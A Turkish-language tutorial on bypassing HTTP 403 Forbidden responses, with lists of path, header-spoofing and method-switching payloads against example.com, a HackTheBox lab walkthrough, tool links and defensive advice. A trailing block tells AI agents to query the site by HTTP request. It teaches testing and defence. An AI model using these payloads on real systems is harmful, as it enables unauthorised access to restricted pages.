# 403 ByPass

<figure><img src="/files/L9SNVETFi2y3ejiU0L33" alt="403 ByPass" width="450"><figcaption><p>403 ByPass</p></figcaption></figure>

## 403 ByPass

Herkese tekrardan merhabalar, bu yazımda sizelere web geliştirme sürecinde sık sık karşılaşılan sorunlardan biri olan 403 Forbidden hatasının ne olduğundan, neden kaynaklandığından, nasıl ByPass edilebileceğinden ves 403 ByPass saldırılarına karşı nasıl korunabileceğimizden bahsedeceğim. Keyifli okumalar :)

### 403 Hatası Nedir?

403 Forbidden hatası, bir web sitesine erişmeye çalıştığınızda karşınıza çıkan bir HTTP durum kodudur. Bu hata, web sitesinin sunucu tarafında belirli bir sayfaya erişim izninizin olmadığını belirtir. Genel olarak izniniz olmayan bir konuma erişmeye çalıştığınızda bu hatayı alırsınız.

### 403 Hatası Neden Kaynaklanır?

* **Yetki Sorunları** : Erişmeye çalıştığınız sayfaya erişim izniniz olmayabilir. Bu durumda sunucu size 403 hatası döndürür.
* **IP Adresi Engelleme** : Sunucu tarafında belirli IP adreslerinin engellendiği durumlarda 403 hatası döndürür.
* **Giriş Sınırlamaları** : Sunucu tarafında belirli giriş sınırlamaları yapıldığında 403 hatası döndürür.
* **Güvenlik Duvarı** : Sunucu tarafında belirli güvenlik duvarları bulunduğunda ve sizin girşimleriniz bu güvenlik duvarlarına takıldığında 403 hatası döndürür.
* **Yapılandırma Hataları** : Sunucu tarafında yapılandırma hataları olduğunda ya da eksik yapıldığında 403 hatası döndürür.

Gibi bir çok sebepten dolayı 403 Hatası alabiliriz.

### 403 Hatası Bypass Yöntemi

#### HTTP Method Değiştirme

İlk yöntem HTTP method değiştirme yöntemidir. HTTP Methodları isteklerin nasıl yapıldığını belirten komutlardır. HTTP protokolünde 8 adet method bulunmaktadır. Bu methodlar şunlardır:

* GET
* POST
* PUT
* DELETE
* HEAD
* OPTIONS
* TRACE
* CONNECT

Şimdi gelin beraber bir örnek üzerinden HTTP Method değiştirme yöntemini inceleyelim.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği GET methodu alarak yapsın ve biz bu sayfaya erişmek istiyoruz. Bu durumda biz bu sayfaya erişmek için POST methodunu kullanabiliriz. Bu durumda sunucu bizden isteği GET methodu ile yapmamızı beklerken biz POST methodu ile yaparız ve bu sayede sayfaya erişim sağlamış oluruz.

***Request:***

```http
GET /secret HTTP/1.1
Host: example.com
...
```

***Response:***

```http
HTTP/1.1 403 Forbidden
...
```

***Request:***

```http
POST /secret HTTP/1.1 
Host: example.com
```

***Response:***

```http
HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>
```

> Bu durumda sunucu bizden isteği POST methodu ile yapmamızı beklerken biz GET methodu ile yaparız ve bu sayede sayfaya erişim sağlamış oluruz.

#### Path Değiştirme

Bir diğer yöntem ise Path değiştirme yöntemidir. Bu yöntemde, sunucu tarafında yapılan bir hata kullanılarak 403 hatası bypass edilecektir.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği `example.com/secret` sayfasına yapmamızı beklesin. Bu durumda biz bu sayfaya erişmek için `example.com/secret/` sayfasına erişim sağlayabiliriz. Bu durumda sunucu bizden isteği `example.com/secret` sayfasına yapmamızı beklerken biz `example.com/secret/` sayfasına erişim sağlamış oluruz.

***Request:***

```http
GET /secret HTTP/1.1
Host: example.com
...
```

***Response:***

```http
HTTP/1.1 403 Forbidden
...
```

***Request:***

```http
GET /secret/ HTTP/1.1
Host: example.com
...
```

***Response:***

```http
HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>
```

> Bu durumda sunucu bizden isteği `example.com/secret` sayfasına yapmamızı beklerken biz `example.com/secret/` sayfasına erişim sağlamış oluruz.

<details>

<summary>Diğer Path Değiştirme Payloadları</summary>

* `example.com/secret/`
* `example.com/SECRET`
* `example.com/secret/.`
* `example.com/./secret/`
* `example.com/../secret/`
* `example.com/secret/..`
* `example.com/secret/./`
* `example.com/secret/../`
* `example.com/secret%20`
* `example.com/secret%09`
* `example.com/secret%0d`
* `example.com/secret%0a`
* `example.com/secret%00`
* `example.com/secret%0d%0a`
* `example.com/secret%20/`
* `example.com/.;/secret`
* `example.com/./secret`

Gibi bir çok payload ile Path değiştirme yöntemi kullanılabilir.

</details>

#### Header Değiştirme

Bir diğer yöntem ise *Header* değiştirme yöntemidir. Headerlar, istemci ve sunucu arasında iletişim kurarken kullanılan bilgilerdir. Bu bilgiler ile istemci ve sunucu arasında iletişim kurulur. Bu durumda sunucu tarafında yapılan bir hata kullanılarak 403 hatası bypass edilecektir.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği `example.com/secret` sayfasına yapmamızı beklesin. Bu durumda biz bu sayfaya erişmek için `example.com/secret` sayfasına erişim sağlamak için `Referer` header'ını değiştirebiliriz. Bu durumda sunucu herhangi bir referer header'ı olmadığı için 403 hatası alırken biz referer header'ını değiştirerek sayfaya erişim sağlamış oluruz.

***Request:***

```http
GET /secret HTTP/1.1
Host: example.com
...
```

***Response:***

```http
HTTP/1.1 403 Forbidden
...
```

***Request:***

```http
GET /secret HTTP/1.1
Host: example.com
Referer: example.com/secret
...
```

***Response:***

```http
HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>
```

***Request: X-Forwarded-For***

```http
GET /secret HTTP/1.1
Host: example.com
X-Forwarded-For: x.x.x.x 
...
```

***Response:***

```http
HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>
```

***Request: X-Forwarded-Host***

```http
GET /secret HTTP/1.1
Host: example.com
X-Forwarded-Host: example.com 
...
```

***Response:***

```http
HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>
```

> NOT : Yukarıda değiştirilecen Host ve IP adresleri girerken girilen ip ve host adresleri sizin kontrol ettiğiniz adresler olmalıdır. Aksi takdirde başka bir siteye saldırı yapmış olursunuz. Girilen host adresi saldırı yapılacak olan siteye ait olmalıdır.Girilen ip adresi ise sizin kontrol ettiğiniz ip adresi olmalıdır (örneğin kendi ip adresiniz veya 127.0.0.1 (localhost) adresini verebilirsiniz.).

> Bu durumda sunucu bizden isteği `example.com/secret` sayfasına erişimi engellemesini beklerken biz `example.com/secret` sayfasına erişim sağlamış oluruz.

<details>

<summary>Diğer Header Değiştirme Payloadları</summary>

* `X-Forwarded-For` : Bu header web sunucusuna bağlanan bir istemcinin kaynak IP adresini tanımlamak için kullanılır. Örneğin, X-Forwarded-For: 127.0.0.1 şeklinde IP adresini local IP adresi ile değiştirebiliriz.
* `X-Forwarded-Host` : Bu header web sunucusuna bağlanan bir istemcinin kaynak Host adresini tanımlamak için kullanılır. Örneğin, X-Forwarded-Host: localhost şeklinde Host adresini değiştirebiliriz.
* `X-Remote-IP` : Bu header sunucuya gelen isteğin gerçek istemci IP adresini belirtmek için kullanılan bir özel HTTP başlığıdır. Örneğin, X-Remote-IP: 127.0.0.1 şeklinde IP adresini değiştirebiliriz.
* `X-Remote-Addr` : Bu header sunucuya gelen isteğin gerçek istemci IP adresini belirtmek için kullanılan bir özel HTTP başlığıdır. Örneğin, X-Remote-Addr: 127.0.0.1 şeklinde IP adresini değiştirebiliriz.
* `X-ProxyUser-Ip` : Bu header sunucuya gelen isteğin gerçek istemci IP adresini belirtmek için kullanılan bir özel HTTP başlığıdır. Örneğin, X-ProxyUser-Ip: 127.0.0.1 şeklinde IP adresini değiştirebiliriz.

Not: Eğer sunucu tarafında bu header'lar yol korunuyorsa, diğer header'lar ile deneme yapılabilir.

* `X-Original-URL:` : Bu header ile URL header'ını değiştirebiliriz. Örneğin `X-Original-URL: /secret` şeklinde URL header'ını değiştirebiliriz.
* `X-Rewrite-URL:` : Bu header ile de URL header'ını değiştirebiliriz. Örneğin `X-Rewrite-URL: /secret` şeklinde URL header'ını değiştirebiliriz.
* `X-Forwarded-Path:` : Bu header ile Path header'ını değiştirebiliriz. Örneğin `X-Forwarded-Path: /secret` şeklinde Path header'ını değiştirebiliriz.

Gibi bir çok payload ile Header değiştirme yöntemi kullanılabilir.

</details>

#### Parametre Değiştirme

Bir diğer yöntem ise Parametre değiştirme yöntemidir. Bu yöntemde, sunucu tarafında yapılan bir hata kullanılarak 403 hatası bypass edilecektir.

Örneğin bir site secret sayfasına erişim izni verilmemiş olsun ve bizden isteği `example.com/secret` sayfasına yapmamızı beklesin. Bu durumda biz bu sayfaya erişmek için `example.com/secret` sayfasına erişim sağlamak için `?secret` parametresini ekleyebiliriz. Bu durumda sunucu bizden isteği `example.com/secret` sayfasına yapmamızı beklerken biz `example.com/secret?secret` sayfasına erişim sağlamış oluruz.

***Request:***

```http
GET /secret HTTP/1.1
Host: example.com
...
```

***Response:***

```http
HTTP/1.1 403 Forbidden
...
```

***Request:***

```http
GET /secret?secret HTTP/1.1
Host: example.com
...
```

***Response:***

```http
HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
<head>
<title>Secret Page</title>
</head>
<body>
```

> Bu durumda sunucu bizden isteği `example.com/secret` sayfasına yapmamızı beklerken biz `example.com/secret?secret` sayfasına erişim sağlamış oluruz.

<details>

<summary>403 ByPass Tooları</summary>

Bunları elimizle yapmak yerine bir çok tool ile bu işlemleri otomatik olarak yapabiliriz.

* [Burp Extension](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [byp4xx](https://github.com/lobuhi/byp4xx)
* [bypass-403](https://github.com/iamj0ker/bypass-403)
* [Bypass-http](https://github.com/reinhardt-pwn/Bypass-http)

</details>

### Örnek Senaryo

Şimdi gelin beraber HackTheBox platformunda bulunan bir örnek senaryo üzerinden 403 ByPass işlemini gerçekleştirelim.

* İlk olarak verilen adreste <http://94.237.62.149:57773/auth/login> adresine giriş yapmaya çalışalım

<figure><img src="/files/0kut39YxXoK1x3x2urNt" alt="403 ByPass" width="563"><figcaption><p>403 ByPass Hatası</p></figcaption></figure>

* Şimdi burada 403 hatası aldık.Bu hatayı bypass etmek için path değiştirme yöntemini deneyelim.

<figure><img src="/files/E2pJD2GAmFIZbwqQoLDx" alt="403 ByPass Deneme" width="563"><figcaption><p>ByPass Deneme</p></figcaption></figure>

* Burada path değiştirme yöntemi ile 403 hatasını bypass etmeyi başardık ve sayfaya erişim sağladık. Site bizim isteğimizi `GET /auth/login` şeklinde yapmamızı beklerken biz `GET /../auth/login/` şeklinde yaptık ve bu sayede sayfaya sistem tarafından engellenen sayfaya erişim sağladık.

<figure><img src="/files/fEhVdjfBqThiWR2qIbjW" alt="403 ByPass" width="563"><figcaption><p>ByPass Sonucu</p></figcaption></figure>

Burada sayfaya erişim sağladık ve sayfaya erişim sağladık. Bu sayede 403 ByPass işlemini başarılı bir şekilde gerçekleştirmiş olduk.

### Nasıl Korunabiliriz?

Şimdiye kadar 403 ByPass nedir ve yöntemleri nelerdir konularından bahsettik. Artık asıl önemli konu olan nasıl korunabiliriz konusuna geçelim.

* Güvenlik duvarları kullanılmalı ve erişim kontrolü yapılmalıdır. En önemlisi ise bunların düzgün bir şekilde yapılandırılması ve güncel tutulmasıdır.
* Yetkilendirme ve kimlik doğrulama işlemleri yapılmalıdır. Bu işlemler ile kullanıcıların yetkileri belirlenmeli ve bu yetkilere göre işlem yapılmalıdır. Şifreleme ve kimlik doğrulama işlemleri yapılmalıdır ve şifrelerin karmaşıklığı arttırılmalıdır.
* Giriş ve çıkış kontrolleri yapılmalıdır. Bu kontroller ile gelen verilerin güvenliği sağlanmalı ve bu verilerin güvenliği sağlanmalıdır.
* Güvenlik açıklarının tespit edilmesi ve bu açıkların kapatılması için düzenli olarak güvenlik testleri yapılmalıdır. Bu testler ile sunucu ve uygulamaların güvenliği sağlanmalıdır.
* Giriş sınırlamaları yapılmalıdır. Bu sınırlamalar ile kullanıcıların giriş hakkı sınırlanmalıdır. Bu sayede kullanıcılarda gelen brute force saldırılarına karşı korunmuş olur.

Gibi bir çok yöntem ile 403 ByPass saldırılarına karşı korunabiliriz.

Bu yazıda sizlere 403 ByPass nedir ? nasıl korunabiliriz ? gibi konulardan bahsettim. Umarım faydalı bir yazı olmuştur. Teşekkür ederim, iyi çalışmalar dilerim :)

{% embed url="<https://github.com/burakbicakci>" fullWidth="false" %}
Bu yazı Burak Bıçakcıoğlu tarafından hazırlanmıştır.
{% endembed %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.yavuzlar.org/web-guvenligi/403-bypass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
